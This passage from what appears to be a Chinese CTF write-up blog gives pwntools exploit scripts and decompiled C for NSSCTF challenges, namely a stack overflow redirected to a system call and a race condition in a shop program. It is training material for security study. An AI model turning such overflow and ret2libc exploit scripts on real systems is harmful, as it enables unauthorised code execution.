class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">ip = <span class="string">&quot;node4.anna.nssctf.cn&quot;</span></span><br><span class="line">port = <span class="number">28993</span></span><br><span class="line">p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">system_addr = <span class="number">0x40095F</span></span><br><span class="line">offset = <span class="number">0x30</span> + <span class="number">8</span></span><br><span class="line">payload = flat([<span class="string">b&#x27;1&#x27;</span>+cyclic(offset-<span class="number">1</span>),system_addr])</span><br><span class="line">sl(payload)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="NISACTF-2022-shop-pwn"><a href="#NISACTF-2022-shop-pwn" class="headerlink" title="[NISACTF 2022]shop_pwn"></a>[NISACTF 2022]shop_pwn</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> __noreturn <span class="title function_">game</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v0; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> i; <span class="comment">// [rsp+Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;     Welcome to my shop     &quot;</span>);</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;+===========================+&quot;</span>);</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;| No|        | Sell| Recycle|&quot;</span>);</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;+===+========+=====+========+&quot;</span>);</span><br><span class="line">      <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">15</span>; ++i )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="keyword">if</span> ( *(_DWORD *)&amp;gd[<span class="number">24</span> * i + <span class="number">16</span>] )</span><br><span class="line">          <span class="built_in">printf</span>(</span><br><span class="line">            <span class="string">&quot;| %d | %-4s   | %3d |   %3d  |\n&quot;</span>,</span><br><span class="line">            i,</span><br><span class="line">            &amp;gd[<span class="number">24</span> * i],</span><br><span class="line">            *(_DWORD *)&amp;gd[<span class="number">24</span> * i + <span class="number">16</span>],</span><br><span class="line">            *(_DWORD *)&amp;gd[<span class="number">24</span> * i + <span class="number">20</span>]);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;+===========================+&quot;</span>);</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;1. look bags\n2. buy goods\n3. sale goods&quot;</span>);</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;&gt; &quot;</span>);</span><br><span class="line">      v0 = read_int();</span><br><span class="line">      <span class="keyword">if</span> ( v0 != <span class="number">2</span> )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      buy();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( v0 &gt; <span class="number">2</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( v0 == <span class="number">3</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        sale();</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">      &#123;</span><br><span class="line">        <span class="keyword">if</span> ( v0 == <span class="number">4</span> )</span><br><span class="line">          <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">LABEL_17:</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Invalid!&quot;</span>);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( v0 != <span class="number">1</span> )</span><br><span class="line">        <span class="keyword">goto</span> LABEL_17;</span><br><span class="line">      look();</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">sale</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v1; <span class="comment">// [rsp+Ch] [rbp-14h]</span></span><br><span class="line">  <span class="type">pthread_t</span> newthread; <span class="comment">// [rsp+10h] [rbp-10h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v3; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Which one?\n&gt; &quot;</span>);</span><br><span class="line">  v1 = read_int();</span><br><span class="line">  <span class="keyword">if</span> ( bags[v1] )</span><br><span class="line">  &#123;</span><br><span class="line">    pthread_create(&amp;newthread, <span class="number">0LL</span>, to_sale, (<span class="type">void</span> *)v1);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Fair prices!&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;R U kidding me?&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v3;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">buy</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v1; <span class="comment">// [rsp+Ch] [rbp-14h]</span></span><br><span class="line">  <span class="type">pthread_t</span> newthread; <span class="comment">// [rsp+10h] [rbp-10h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v3; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Which one?\n&gt; &quot;</span>);</span><br><span class="line">  v1 = read_int();</span><br><span class="line">  <span class="keyword">if</span> ( v1 == <span class="number">1</span> || v1 == <span class="number">2</span> || v1 == <span class="number">3</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( *(_DWORD *)&amp;gd[<span class="number">24</span> * v1 + <span class="number">16</span>] &lt;= money )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( v1 == <span class="number">3</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        money -= *(_DWORD *)&amp;gd[<span class="number">88</span>];</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;God bless you&quot;</span>);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">      &#123;</span><br><span class="line">        pthread_create(&amp;newthread, <span class="number">0LL</span>, to_buy, (<span class="type">void</span> *)v1);</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Thank you for your patronage~&quot;</span>);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Poor bastard!&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v3;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">void</span> *__fastcall <span class="title function_">to_sale</span><span class="params">(<span class="type">void</span> *a1)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v1; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">void</span> *result; <span class="comment">// rax</span></span><br><span class="line"></span><br><span class="line">  v1 = bags[(<span class="type">int</span>)a1];</span><br><span class="line">  <span class="keyword">if</span> ( v1 == <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    money += dword_60214C;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( v1 != <span class="number">2</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;Oops???&quot;</span>);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    money += dword_602164;</span><br><span class="line">  &#125;</span><br><span class="line">  usleep(<span class="number">0xC350</span>u);</span><br><span class="line">  result = (<span class="type">void</span> *)(<span class="type">int</span>)a1;</span><br><span class="line">  bags[(<span class="type">int</span>)a1] = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们可以在usleep的时候再次卖出物品</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">port = <span class="number">23234</span></span><br><span class="line">p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">sl(<span class="string">&quot;3&quot;</span>)</span><br><span class="line">sl(<span class="string">&quot;0&quot;</span>)</span><br><span class="line">sl(<span class="string">&quot;3&quot;</span>)</span><br><span class="line">sl(<span class="string">&quot;0&quot;</span>)</span><br><span class="line">sl(<span class="string">&quot;3&quot;</span>)</span><br><span class="line">sl(<span class="string">&quot;0&quot;</span>)</span><br><span class="line">sl(<span class="string">&quot;2&quot;</span>)</span><br><span class="line">sl(<span class="string">&quot;1&quot;</span>)</span><br><span class="line">sl(<span class="string">&quot;1&quot;</span>)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="CISCN-2019华中-PWN1"><a href="#CISCN-2019华中-PWN1" class="headerlink" title="[CISCN 2019华中]PWN1"></a>[CISCN 2019华中]PWN1</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// [rsp+Ch] [rbp-4h] BYREF</span></span><br><span class="line"></span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;EEEEEEE                            hh      iii                &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;====================================================================&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Welcome to this Encryption machine\n&quot;</span>);</span><br><span class="line">  begin();</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      fflush(<span class="number">0LL</span>);</span><br><span class="line">      v4 = <span class="number">0</span>;</span><br><span class="line">      __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;v4);</span><br><span class="line">      getchar();</span><br><span class="line">      <span class="keyword">if</span> ( v4 != <span class="number">2</span> )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;I think you can do it by yourself&quot;</span>);</span><br><span class="line">      begin();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( v4 == <span class="number">3</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Bye!&quot;</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( v4 != <span class="number">1</span> )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    encrypt();</span><br><span class="line">    begin();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Something Wrong!&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>一个明显的加密程序</p><p>有溢出</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">encrypt</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">size_t</span> v0; <span class="comment">// rbx</span></span><br><span class="line">  <span class="type">char</span> s[<span class="number">48</span>]; <span class="comment">// [rsp+0h] [rbp-50h] BYREF</span></span><br><span class="line">  __int16 v3; <span class="comment">// [rsp+30h] [rbp-20h]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="keyword">sizeof</span>(s));</span><br><span class="line">  v3 = <span class="number">0</span>;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Input your Plaintext to be encrypted&quot;</span>);</span><br><span class="line">  gets(s);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    v0 = (<span class="type">unsigned</span> <span class="type">int</span>)x;</span><br><span class="line">    <span class="keyword">if</span> ( v0 &gt;= <span class="built_in">strlen</span>(s) )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">if</span> ( s[x] &lt;= <span class="number">96</span> || s[x] &gt; <span class="number">122</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( s[x] &lt;= <span class="number">64</span> || s[x] &gt; <span class="number">90</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="keyword">if</span> ( s[x] &gt; <span class="number">47</span> &amp;&amp; s[x] &lt;= <span class="number">57</span> )</span><br><span class="line">          s[x] ^= <span class="number">0xF</span>u;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">      &#123;</span><br><span class="line">        s[x] ^= <span class="number">0xE</span>u;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      s[x] ^= <span class="number">0xD</span>u;</span><br><span class="line">    &#125;</span><br><span class="line">    ++x;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Ciphertext&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>打ret2libc即可</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span 